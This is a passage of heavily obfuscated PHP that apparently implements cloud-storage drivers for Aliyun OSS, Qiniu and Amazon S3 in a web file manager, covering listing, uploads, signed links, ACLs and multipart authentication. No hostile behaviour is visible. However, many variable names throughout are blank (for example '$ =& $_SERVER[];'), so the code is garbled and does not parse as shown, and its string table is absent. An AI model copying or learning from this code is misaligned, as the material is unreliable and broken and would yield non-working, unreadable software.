{ if (!$ݓ || !$ݓ[$ڔؘ[79]]) { continue; } $[$ڔؘ[79]] += $ݓ[$ڔؘ[79]]; } } public function has($, $ɵ = false, $Ɲ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[219] ? $[12] : $ . $[8]; $ = $[12]; $Ω = 500; $奮 = $춪 = 0; while (!0) { check_abort(); $Âȷō = array($[1442] => $[8], $[1443] => $, $[1444] => $Ω, $[1445] => $); try { $̜ = $this->client->listObjects($this->bucket, $Âȷō); } catch (OSS\Core\OssException $Υ) { $this->writeLog(__FUNCTION__ . $[205] . $Υ->getMessage()); break; } $ = $̜->getNextMarker(); $ = $̜->getObjectList(); $ïӜ = $̜->getPrefixList(); if ($ɵ) { if (count($) > 1 || count($) == 1 && $[0]->getKey() != $) { $奮 += count($) - 1; } if (!empty($ïӜ)) { $춪 += count($ïӜ); } if ($ === $[12]) { break; } continue; } if ($Ɲ) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $) { return !0; } } } else { if (!empty($ïӜ)) { return !0; } } if ($ === $[12]) { break; } } if ($ɵ) { return array($[230] => $奮, $[231] => $춪); } return !1; } public function listAll($̕߈) { $ =& $_SERVER[]; $ = $this->fileList($̕߈, $[12], !0); $ = array_to_keyvalue($[$[86]], $[32]); foreach ($[$[85]] as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($̕߈, $); } public function canRead($) { $쑛 =& $_SERVER[]; $ݜ = $this->pathAcl($); return $ݜ == $쑛[1456] || $ݜ == $쑛[594] ? !0 : !1; } public function canWrite($ҷ) { $ꐰ = $this->pathAcl($ҷ); return $ꐰ == $_SERVER[][594] ? !0 : !1; } public function pathAcl($▬) { $ͮ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $̙ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($▬)); } catch (OSS\Core\OssException $흖) { $this->writeLog(__FUNCTION__ . $ͮ[205] . $흖->getMessage()); return !1; } $χ = $̙ == $ͮ[37] ? $this->bucketAcl : $̙; if ($χ == $ͮ[1457]) { return $ͮ[1456]; } if ($χ == $ͮ[1458]) { return $ͮ[594]; } return $χ; } private function chmodPath($ѧ, $ĥь = '') { $߃˦ =& $_SERVER[]; $Բ̒ = empty($ĥь) ? $߃˦[1458] : $ĥь; $܆ = array($߃˦[37], $߃˦[220], $߃˦[1457], $߃˦[1458]); if (!in_array($Բ̒, $܆)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($ѧ), $Բ̒); } catch (OSS\Core\OssException $ώ) { $this->writeLog(__FUNCTION__ . $߃˦[205] . $ώ->getMessage()); return !1; } return !0; } public function getContent($뉱) { return $this->fileSubstr($뉱, -1); } public function setContent($伲, $ = '') { $׷ =& $_SERVER[]; try { $۰ = $this->trafficLimit($׷[1459]); $鎹 = $this->client->putObject($this->bucket, $this->pathEncode($伲), $, $۰); } catch (OSS\Core\OssException $ܥк) { $this->writeLog(__FUNCTION__ . $׷[205] . $ܥк->getMessage()); return !1; } $ = array($׷[1449] => trim($鎹[$׷[1446]], $׷[121]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($伲))); $this->updateObjMeta($伲, $); return isset($鎹[$׷[1460]][$׷[283]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $); } catch (OSS\Core\OssException $ܭ) { $this->writeLog(__FUNCTION__ . $_SERVER[][205] . $ܭ->getMessage()); return !1; } return !0; } public function upload($Σ, $, $Ŀ = false, $±㽴 = REPEAT_REPLACE) { $Ȃ =& $_SERVER[]; $ = trim($Σ, $Ȃ[8]); $Ӣј = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($Ȃ[1449] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($Σ))); $Ӣј = $this->trafficLimit($Ȃ[1459], $Ӣј); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $, $Ӣј); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $Ȃ[205] . $->getMessage()); return !1; } return $this->getPathOuter($Σ); } public function getHost() { $Љ =& $_SERVER[]; $ = explode($Љ[201], parent::getHost()); return $[0] . $Љ[201] . $this->bucket . $Љ[10] . $[1]; } public function uploadFormData($, $ = 3600) { $؆ =& $_SERVER[]; if (!($Ӊ = $this->getHost())) { return !1; } $ܥʵ = $; $ϔى = date($؆[1461], time() + $ܥʵ); $ַ = new DateTime($ϔى); $ = $ַ->format(DateTime::ISO8601); $ƞ = strpos($, $؆[347]); $ = substr($, 0, $ƞ) . $؆[1462]; $ѥ = 1048576000 * 5; $ = $this->pathFather($); $ۦӧ = array($؆[266] => $, $؆[269] => array(array($؆[1463], 0, $ѥ), array($؆[272], $؆[273], $))); $͹ = base64_encode(json_encode($ۦӧ)); $嗡ɯ = base64_encode(hash_hmac($؆[254], $͹, $this->secret, !0)); $ = array($؆[284] => $͹, $؆[1464] => $this->accessKey, $؆[276] => $؆[265], $؆[1465] => $嗡ɯ, $؆[199] => $Ӊ); $ = $this->trafficLimit($؆[1459], $); return $; } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; if (!($ȧ = $this->getHost())) { return !1; } $ = $this->trafficLimit($[1459]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); return array($[245] => $, $[199] => $ȧ . $[8] . $this->pathEncode($), $[246] => gmdate($[1466]), $[97] => $); } public function multiUploadAuthData($, $ù = array()) { $ݻ =& $_SERVER[]; $ωʽ = isset($ù[$ݻ[246]]) ? $ù[$ݻ[246]] : gmdate($ݻ[1466]); $ׁ = isset($ù[$ݻ[178]]) ? $ù[$ݻ[178]] : $ݻ[12]; $즷 = $; if (isset($ù[$ݻ[97]])) { $즷 = $ù[$ݻ[97]]; unset($ù[$ݻ[97]]); } if (isset($ù[$ݻ[247]])) { $ù[$ݻ[246]] = $ωʽ; return $this->listUploadParts($즷, $ù); } $ = array($ݻ[248], $ݻ[12], $ݻ[123], $ωʽ, "\170\55\x6f\163\163\x2d\x64\141\164\x65\72{$ωʽ}", $ݻ[8] . $this->bucket . $ݻ[8] . $즷 . $ׁ); if (strpos($ׁ, $ݻ[249]) === 0) { $[0] = $ݻ[250]; if ($𲧺 = $this->trafficLimit($ݻ[1459])) { $즷 = $ݻ[1467]; array_splice($, 5, 0, $즷 . $ݻ[4] . $𲧺[$즷]); } } if (isset($ù[$ݻ[251]]) && $ù[$ݻ[251]] == $ݻ[252]) { $[0] = $ݻ[252]; } if (!empty($ù[$ݻ[1468]])) { $֏ˎ = array_merge(array($[4]), $ù[$ݻ[1468]]); sort($֏ˎ); $[4] = implode($ݻ[253], $֏ˎ); } $ⶪ = implode($ݻ[253], $); $ď = base64_encode(hash_hmac($ݻ[254], $ⶪ, $this->secret, !0)); $К = $ݻ[1432] . $this->accessKey . $ݻ[4] . $ď; if (strpos($ׁ, $ݻ[249]) === 0) { $К = array($ݻ[256] => $К, $ݻ[246] => $ωʽ); if ($𲧺) { $К = array_merge($К, $𲧺); } } return $К; } public function listUploadParts($Ҍ, $р) { $ =& $_SERVER[]; $ = parse_url_query($р[$[178]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($Ҍ), $[$[245]]); $گ = $->getListPart(); $ = array(); foreach ($گ as $ͮ) { $[] = array($[1453] => $ͮ->getPartNumber(), $[1454] => trim($ͮ->getETag(), $[121])); } unset($р[$[247]], $р[$[251]]); $ = $this->multiUploadAuthData($Ҍ, $р); if (empty($)) { return !1; } return array($[256] => $, $[246] => $р[$[246]], $[258] => $); } public function download($, $) { $ =& $_SERVER[]; if ($this->isFolder($)) { return !1; } try { $ʛ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ʛ = $this->trafficLimit($[112], $ʛ); $this->client->getObject($this->bucket, $this->pathEncode($), $ʛ); } catch (OSS\Core\OssException $ξ) { $this->writeLog(__FUNCTION__ . $[205] . $ξ->getMessage()); return !1; } return $; } public function fileSubstr($ݗ, $ʁ = 0, $ף = false) { if ($ʁ === -1) { $鋚 = array(); } else { if ($ף === !1) { $ξ = $this->size($ݗ); } else { $ξ = $ʁ + $ף - 1; } $鋚 = array(OSS\OssClient::OSS_RANGE => "{$ʁ}\55{$ξ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($ݗ), $鋚); } catch (OSS\Core\OssException $਼Ɯ) { $this->writeLog(__FUNCTION__ . $_SERVER[][205] . $਼Ɯ->getMessage()); think_exception($਼Ɯ->getMessage()); return !1; } } private function trafficLimit($, $Ո = array()) { $ݽ =& $_SERVER[]; if ($ == $ݽ[1459] && $this->isUploadServer() || $ == $ݽ[112] && $this->isFileOutServer()) { return $Ո; } $݈ = floatval($GLOBALS[$ݽ[6]][$ݽ[92]][$ݽ[110]][$]) * 1024 * 1024 * 8; if (!$݈) { return $Ո; } $݈ = $݈ < 819200 ? 819200 : ($݈ > 838860800 ? 838860800 : $݈); $Ո[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($݈); return $Ո; } public function link($ݳ, $љ = array()) { $ۈ =& $_SERVER[]; if (!$this->exist($ݳ) || $this->isFolder($ݳ)) { return !1; } try { $љ = $this->trafficLimit($ۈ[112], $љ); $űȇ = $this->client->signUrl($this->bucket, $this->pathEncode($ݳ), 3600 * 12, $ۈ[252], $љ); return $this->getCdnLink($űȇ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ۈ[205] . $->getMessage()); return !1; } } public function fileOut($܆, $ = false, $ = false, $Ƙ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($܆, $, $, $Ƙ); } if (!$) { $ = $this->pathThis($܆); } $ = rawurlencode($); $ = get_file_mime(get_path_ext($)); if ($ == $[239]) { return parent::fileOut($܆, $, $, $Ƙ); } $ = $ ? $[1469] : $[1470]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1471] . rawurlencode("{$}\73\x66\151\x6c\145\156\x61\155\x65\75{$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1472] . rawurlencode($); $ؤ = $this->link($܆, $); $this->fileOutLink($ؤ); } public function fileOutServer($, $ = false, $ = false, $ʮ = '') { parent::fileOut($, $, $, $ʮ); } public function fileOutImage($њ, $ѡϑ = 250) { if ($this->size($њ) > 1024 * 1024 * 20) { return $this->fileOutImageServer($њ, $ѡϑ); } $ν = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1429] . $ѡϑ); $ʂ = $this->link($њ, $ν); $this->fileOutLink($ʂ); } public function fileOutImageServer($ʭ, $ = 250) { parent::fileOutImage($ʭ, $); } public function fileOutLink($) { $˜ =& $_SERVER[]; if (!$this->isCdnHost() && substr($, 0, 7) == $˜[1378]) { $ = $˜[1379] . substr($, 7); } header($˜[165] . $); die; } public function hashMd5($, $џ = '') { $Ɂ =& $_SERVER[]; $ = $this->_objectMeta($); if (!$) { return $Ɂ[12]; } if (!isset($[$Ɂ[1449]]) && !empty($џ)) { $ = $this->updateObjMeta($, array($Ɂ[1449] => $џ)); $[$Ɂ[1449]] = $ ? $џ : $Ɂ[12]; } return isset($[$Ɂ[1449]]) ? strtolower($[$Ɂ[1449]]) : $Ɂ[12]; } public function size($ъ) { $☤ = $this->objectMeta($ъ); return $☤ ? $☤[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ڭ) { return $this->isFile($ڭ) || $this->isFolder($ڭ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($宙) { return $this->cacheMethod($_SERVER[][169], $宙); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][171], $); } protected function _objectMeta($ëل) { $ͼ =& $_SERVER[]; try { $ސާ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($ëل)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ͼ[205] . $->getMessage()); $ސާ = !1; } if ($ސާ) { $ސާ[$ͼ[79]] = intval($ސާ[$ͼ[1447]]); } return $ސާ; } protected function _isFolder($к) { $𢵮 =& $_SERVER[]; if ($к == $𢵮[12] || $к == $𢵮[8]) { return !0; } $« = array($𢵮[1442] => $𢵮[8], $𢵮[1443] => rtrim($к, $𢵮[8]) . $𢵮[8], $𢵮[1444] => 1, $𢵮[1445] => $𢵮[12]); $ = $this->client->listObjects($this->bucket, $«); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } public function writeLog($ = '', $ = false) { $ɴ =& $_SERVER[]; $ = in_array(ACTION, array($ɴ[203], $ɴ[204])); if (!$ && !GLOBAL_DEBUG) { return; } $Ƞ = 0; if (stripos($, $ɴ[1473]) !== !1) { $Ƞ = 1; $ = explode($ɴ[1474], $); $ = !empty($[1]) ? $[1] : $; } else { if (stripos($, $ɴ[1475])) { $Ƞ = 2; $ = explode($ɴ[1475], $); $ = explode($ɴ[4], $[0]); $ = !empty($[1]) ? $[1] : $; } } if ($ && I18n::getType() == $ɴ[1476]) { if ($Ƞ == 1) { $ = str_replace($ɴ[1477], $ɴ[1478], $); } else { if ($Ƞ == 2) { $ = explode($ɴ[205], $[0]); $ȏ = isset($[1]) ? $[1] : $ɴ[12]; $ = array($ɴ[1479] => $ɴ[1480], $ɴ[1481] => $ɴ[1482], $ɴ[1483] => $ɴ[1484], $ɴ[1485] => $ɴ[1486], $ɴ[1487] => $ɴ[1488], $ɴ[1489] => $ɴ[1490], $ɴ[1491] => $ɴ[1492], $ɴ[1493] => $ɴ[1494], $ɴ[1495] => $ɴ[1496], $ɴ[1497] => $ɴ[1498]); if (isset($[$ȏ])) { $ = $[$ȏ]; } } } if (stripos($, $ɴ[1499])) { $ = $ɴ[1500]; } } if (!trim($)) { return; } parent::writeLog(trim($), $); } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($ƙѨ) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1501]; $this->_init($ƙѨ); } public function _init($Ӟ) { $Ż =& $_SERVER[]; $this->config = $Ӟ; foreach ($Ӟ as $ɵ => $Ɛ) { if (isset($this->{$ɵ})) { $this->{$ɵ} = $Ɛ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($Ż[1502] . LNG($Ż[1433])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($ݲ, $̠ٓ = '', $׼ = REPEAT_RENAME) { if ($this->setContent($ݲ, $̠ٓ)) { return $this->getPathOuter($ݲ); } return !1; } public function mkdir($ޛ, $Ҕ = REPEAT_SKIP) { $ѝ =& $_SERVER[]; $ = trim($ޛ, $ѝ[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ޛ = $ . $ѝ[8]; $޴ = get_path_this($); $ = $ޛ . $޴; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $ޛ)) { $this->delFile($); return !1; } return $this->getPathOuter($); } public function copyFile($˽, $ꓟ) { $ع = $this->bucketManager->copy($this->bucket, $˽, $this->bucket, $ꓟ, !0); return $ع ? !1 : $this->getPathOuter($ꓟ); } public function moveFile($ѻ, $Č) { $Д˩ = $this->bucketManager->move($this->bucket, $ѻ, $this->bucket, $Č, !0); return $Д˩ ? !1 : $this->getPathOuter($Č); } public function delFile($˧) { if (!$this->exist($˧)) { return !0; } $ҩ = $this->bucketManager->delete($this->bucket, $˧); return $ҩ ? !1 : !0; } public function delFolder($Į) { $ =& $_SERVER[]; if (!$this->exist($Į)) { return !0; } $this->listItemCache = !1; $Ț = $this->fileList($Į); $this->listItemCache = !0; $ = trim($Į, $[8]) . $[8]; if (!empty($Į) && $Į !== $[219] && !in_array($, $Ț[$[85]])) { $Ț[$[85]][] = $; } $ج͘ = $this->delByBatch($Ț[$[86]]); if (!$ج͘) { return !1; } $ج͘ = $this->delByBatch($Ț[$[85]]); if (!$ج͘) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $Ȕ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($, $) = $this->bucketManager->batch($Ȕ); if ($) { return !1; } } return !0; } public function rename($, $ልԲ) { return $this->renameObject($, $ልԲ); } public function fileInfo($, $ŏ = false, $ = array()) { $梬 =& $_SERVER[]; $Ô = array($梬[32] => $this->pathThis($), $梬[87] => $this->getPathOuter($梬[8] . $), $梬[33] => $梬[221], $梬[79] => isset($[$梬[1503]]) ? $[$梬[1503]] : 0, $梬[178] => $this->ext($)); if ($ŏ) { return $Ô; } $Ô[$梬[222]] = $Ô[$梬[88]] = 0; $Ô[$梬[223]] = $Ô[$梬[224]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $Ô; } } if (isset($[$梬[225]]) && $[$梬[225]]) { $Ô[$梬[226]] = $[$梬[225]]; } if (isset($[$梬[236]]) && $[$梬[236]]) { $Ô[$梬[226]] = $[$梬[236]]; } if (isset($[$梬[1504]])) { $Ô[$梬[88]] = substr($[$梬[1504]] . $梬[12], 0, 10); } if (isset($[$梬[1503]])) { $Ô[$梬[79]] = $[$梬[1503]]; } return $Ô; } public function folderInfo($̙, $Җ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($̙), $[87] => $this->getPathOuter($[8] . $̙), $[33] => $[78]); if ($Җ) { return $; } $[$[222]] = $[$[88]] = 0; $[$[223]] = $[$[224]] = !0; $̙ = rtrim($̙, $[8]) . $[8]; $勞 = $this->objectMeta($̙); if (isset($勞[$[1504]])) { $[$[88]] = substr($勞[$[1504]] . $[12], 0, 10); } return $; } public function listPath($Ο, $ij = false) { $ =& $_SERVER[]; $װ = $this->fileList($Ο, $[8], !0); foreach ($װ[$[85]] as $ޱ => $) { $װ[$[85]][$ޱ] = $this->folderInfo($, $ij); } foreach ($װ[$[86]] as $ޱ => $) { $װ[$[86]][$ޱ] = $this->fileInfo($[$[97]], $ij, $); } return $װ; } public function has($, $ΣΗ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[219] ? $[12] : $ . $[8]; $ăՎ = $[12]; $ = 500; $ = $[8]; $ = $Œ˽ = 0; while (!0) { check_abort(); list($, $욞ȴ) = $this->bucketManager->listFiles($this->bucket, $, $ăՎ, $, $); if ($욞ȴ) { break; } $ăՎ = array_key_exists($[1445], $) ? $ăՎ = $[$[1505]] : $[12]; if ($ΣΗ) { if (!empty($[$[1506]])) { $ += count($[$[1506]]); } if (!empty($[$[1507]])) { $Œ˽ += count($[$[1507]]); } if ($ăՎ === $[12]) { break; } continue; } if ($) { if (!empty($[$[1506]])) { return !0; } } else { if (!empty($[$[1507]])) { return !0; } } if ($ăՎ === $[12]) { break; } } if ($ΣΗ) { return array($[230] => $, $[231] => $Œ˽); } return !1; } public function listAll($č) { $極 =& $_SERVER[]; $ϖ = $this->fileList($č, $極[12], !0); $ʴ = array_to_keyvalue($ϖ[$極[86]], $極[32]); foreach ($ϖ[$極[85]] as $ﴻ) { if (is_string($ﴻ)) { $ʴ[$ﴻ] = array($極[79] => 0); } } return $this->listAllFiles($č, $ʴ); } private function fileList($̑, $ = '', $DZ = 0) { $ԯ =& $_SERVER[]; $̑ = trim($̑, $ԯ[8]); $щ = empty($̑) && $̑ !== $ԯ[219] ? $ԯ[12] : $̑ . $ԯ[8]; $ = $ԯ[12]; $μ = 1000; $ = $쎶 = array(); while (!0) { check_abort(); list($, $ϫ) = $this->bucketManager->listFiles($this->bucket, $щ, $, $μ, $); if ($ϫ) { break; } $ = array_key_exists($ԯ[1445], $) ? $ = $[$ԯ[1505]] : $ԯ[12]; $şܸ = isset($[$ԯ[1506]]) ? $[$ԯ[1506]] : array(); $ތ = isset($[$ԯ[1507]]) ? $[$ԯ[1507]] : array(); foreach ($şܸ as $֦) { if ($֦[$ԯ[97]] == $щ) { continue; } $ = $֦[$ԯ[97]]; $ = $֦[$ԯ[1503]]; $֦[$ԯ[79]] = $; $̆ = $ == 0 && substr($, strlen($) - 1, 1) == $ԯ[8] ? !0 : !1; $this->cacheMethodInfoSet($, $̆, $֦); if ($̆) { $[] = $; continue; } $쎶[] = $DZ ? $֦ : $; } foreach ($ތ as $) { if ($ == $щ) { continue; } $[] = $; $this->cacheMethodInfoSet($, !0); } if ($ === $ԯ[12]) { break; } } $this->cacheMethodInfoSet($̑, !0); return array($ԯ[85] => $, $ԯ[86] => $쎶); } public function canRead($알) { return $this->exist($알) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($瓓, $ں = '') { $Ӈ = $this->tempFile($this->pathThis($瓓)); file_put_contents($Ӈ, $ں); if ($this->upload($瓓, $Ӈ)) { $this->tempFileRemve($Ӈ); return !0; } return !1; } public function refreshUrls($߹) { $ŋ =& $_SERVER[]; $݇ = array(); if (is_array($߹)) { foreach ($߹ as $ڨ̭) { $݇[] = $this->link($ڨ̭); } } else { $݇[] = $this->link($߹); } $Ɓ = new Qiniu\Cdn\CdnManager($this->auth); list($, $ݚ) = $Ɓ->refreshUrls($݇); if ($ݚ) { return !1; } return $[$ŋ[1236]] == $ŋ[804] ? !0 : !1; } public function fileSubstr($, $ǃ, $) { $𣈱 =& $_SERVER[]; if (!($ҿ = $this->link($))) { return !1; } $Ɵ = !1; if ($ > 0) { $ = $ǃ + $ - 1; $Ɵ = array($𣈱[1508] . $ǃ . $𣈱[437] . $); } $ = url_request($ҿ, $𣈱[252], !1, $Ɵ); return $[$𣈱[795]] ? $[$𣈱[1256]] : !1; } public function upload($悦, $, $ݗ = false, $˧ = REPEAT_REPLACE) { $Ӗ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $悦); $袾 = get_file_mime(get_path_ext($)); list($Ҁ, $鹤) = $Ӗ->putFile($, $悦, $, null, $袾); return $鹤 ? !1 : $this->getPathOuter($悦); } public function uploadFormData($˶܎, $ = 3600) { return $this->uploadToken($˶܎, $); } public function multiUploadFormData($қ, $پ = 3600) { return $this->uploadToken($қ, $پ); } private function uploadToken($ؒ, $蜙 = 3600) { $ꕉ =& $_SERVER[]; $ʓ = $蜙; $ = array($ꕉ[1509] => $ꕉ[1510]); $柪 = $ؒ; $ = $this->auth->uploadToken($this->bucket, $柪, $ʓ, $, !0); $ = empty($this->region) || $this->region == $ꕉ[1511] ? $ꕉ[12] : $ꕉ[437] . $this->region; $ր = http_type() . "\72\57\x2f\x75\x70\154\x6f\141\144{$}\x2e\161\x69\x6e\151\165\x70\x2e\x63\157\x6d\57"; return array($ꕉ[1512] => $, $ꕉ[1513] => $ր); } public function download($ݖ, $ʅں) { $ʽ = IO::getPathInner(IO::mkfile($ʅں)); if (!($γ = $this->link($ݖ))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($ʽ, $_SERVER[][1514]); while (!0) { $ҏ = $this->fileSubstr($ݖ, $, $); if ($ҏ === !1) { return !1; } fwrite($, $ҏ); $ += $; if (strlen($ҏ) < $) { break; } } fclose($); return $ʅں; } public function link($, $ߕ = '') { if (!$this->isFile($)) { return !1; } $ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($) . $ߕ; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($۰, $ᛅ = false, $Ѿ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($۰, $ᛅ, $Ѿ, $); } if (!$Ѿ) { $Ѿ = $this->pathThis($۰); } $줡 = $ᛅ ? $[1515] . rawurlencode($Ѿ) : $[12]; $ = $this->link($۰, $줡); $this->fileOutLink($); } public function fileOutServer($Ĉ, $ևɱ = false, $Ū = false, $ = '') { parent::fileOut($Ĉ, $ևɱ, $Ū, $); } public function fileOutImage($􌈌, $Ӿ = 250) { $̈ = $this->link($􌈌, $_SERVER[][1516] . $Ӿ); $this->fileOutLink($̈); } public function fileOutImageServer($Ӳ, $ = 250) { parent::fileOutImage($Ӳ, $); } public function hashMd5($ᡗ) { $ =& $_SERVER[]; $詻 = $this->objectMeta($ᡗ); return isset($詻[$[236]]) ? $詻[$[236]] : !1; $ = $this->link($ᡗ, $[1517]); } public function size($ű) { $ = $this->objectMeta($ű); return $ ? $[$_SERVER[][79]] : 0; } public function info($Ϊ) { if ($this->isFolder($Ϊ)) { return $this->folderInfo($Ϊ); } else { if ($this->isFile($Ϊ)) { return $this->fileInfo($Ϊ); } } return !1; } public function exist($ѐ) { return $this->isFile($ѐ) || $this->isFolder($ѐ); } public function isFile($ː) { return !$this->isFolder($ː) && $this->objectMeta($ː); } public function isFolder($˓) { return $this->cacheMethod($_SERVER[][169], $˓); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][171], $); } protected function _objectMeta($ȧ) { $ϥ =& $_SERVER[]; list($ܚ۶, $ʆ) = $this->bucketManager->stat($this->bucket, $ȧ); if ($ܚ۶) { $ܚ۶[$ϥ[79]] = intval($ܚ۶[$ϥ[1503]]); } return $ܚ۶; } protected function _isFolder($) { $ɨ =& $_SERVER[]; if ($ == $ɨ[12] || $ == $ɨ[8]) { return !0; } list($Ⱥ, $) = $this->bucketManager->listFiles($this->bucket, trim($, $ɨ[8]) . $ɨ[8], $ɨ[12], 1, $ɨ[8]); return !empty($Ⱥ[$ɨ[1506]]) || !empty($Ⱥ[$ɨ[1507]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($, $ = 3600) { $悢 =& $_SERVER[]; $إ = $悢[220]; $ = $悢[261]; $ = $悢[62]; $ = gmdate($悢[262]); $˰ = gmdate($悢[263]); $̞ = $悢[264]; $ = $ . $悢[12]; $Ź = $悢[265]; $ = array($this->accessKey, $˰, $this->region, $, $̞); $̷ = implode($悢[8], $); $߲ = array($悢[266] => gmdate($悢[1380], strtotime($悢[268])), $悢[269] => array(array($悢[270] => $this->bucket), array($悢[271] => $إ), array($悢[272], $悢[273], $悢[12]), array($悢[272], $悢[274], $悢[12]), array($悢[272], $悢[275], $悢[12]), array($悢[276] => $Ź), array($悢[277] => $̷), array($悢[278] => $), array($悢[279] => $), array($悢[280] => $))); $Й = base64_encode(json_encode($߲)); $ʴ = hash_hmac($悢[281], $˰, $悢[282] . $this->secret, !0); $ˁ = hash_hmac($悢[281], $this->region, $ʴ, !0); $ȱ = hash_hmac($悢[281], $, $ˁ, !0); $ԋ = hash_hmac($悢[281], $̞, $ȱ, !0); $Ӟ = hash_hmac($悢[281], $Й, $ԋ); $ќ = array($悢[237] => $悢[12], $悢[283] => $悢[12], $悢[271] => $إ, $悢[276] => $Ź, $悢[284] => $Й, $悢[285] => $̷, $悢[286] => $, $悢[287] => $, $悢[288] => $, $悢[289] => $Ӟ, $悢[199] => $this->getHost()); return $ќ; } public function multiUploadFormData($⩶, $Ž = 3600) { $ͳ =& $_SERVER[]; $ = gmdate($ͳ[1518]); $ȯ = array(); $ljΟ = $this->client->getUploadId($this->bucket, $⩶, $ȯ); if (!$ljΟ) { return !1; } return array($ͳ[245] => $ljΟ, $ͳ[199] => $this->getHost() . $ͳ[8] . $this->pathEncode($⩶), $ͳ[246] => $, $ͳ[97] => $⩶); } public function multiUploadAuthData($΄, $ = array()) { $ =& $_SERVER[]; $ņ = isset($[$[178]]) ? $[$[178]] : $[12]; $ӭ = $[$[97]]; unset($[$[97]]); if (isset($[$[247]])) { return $this->listUploadParts($ӭ, $); } $ = array(); if (isset($[$[1519]])) { $[$[1520]] = $[$[1519]]; } $ = explode($[201], $this->getHost()); $ݪ = array($[1521] => $[1], $[1522] => $[12], $[237] => $[123], $[283] => $[$[79]]); $÷ = $[250]; $с = $[8] . $this->pathEncode($ӭ) . $ņ; $ = $this->client->__getSignatureV4($, $ݪ, $÷, $с); if (strpos($ņ, $[249]) === 0) { if (isset($[$[1520]])) { $ = $[$[1520]]; } else { if (isset($[$[1520]])) { $ = $[$[1520]]; } else { $ = hash($[281], $[12]); } } return array($[256] => $[$[256]], $[1520] => $, $[246] => $[$[1523]]); } return $[$[256]]; } public function listUploadParts($נ, $͒ȥ = array()) { $Ƽ =& $_SERVER[]; $ԗ = str_replace($Ƽ[257], $Ƽ[12], $͒ȥ[$Ƽ[178]]); $ = $this->client->listParts($this->bucket, $נ, $ԗ); if (!$) { return !1; } $ = $Ƽ[1524]; foreach ($ as $) { $ .= $Ƽ[1525] . "\74\x50\x61\x72\x74\116\x75\x6d\x62\x65\x72\76{$[$Ƽ[1453]]}\x3c\57\120\x61\162\x74\116\165\x6d\x62\145\x72\76\12" . "\x3c\x45\124\141\147\76{$[$Ƽ[1454]]}\x3c\x2f\x45\x54\x61\x67\76\12" . $Ƽ[1526]; } $ .= $Ƽ[1527]; $ܑɸ = array(); $ = explode($Ƽ[201], $this->getHost()); $ = array($Ƽ[1521] => $[1], $Ƽ[237] => $Ƽ[123], $Ƽ[283] => strlen($)); $ʈ = $Ƽ[248]; $ۖ҆ = $Ƽ[8] . $this->pathEncode($נ) . 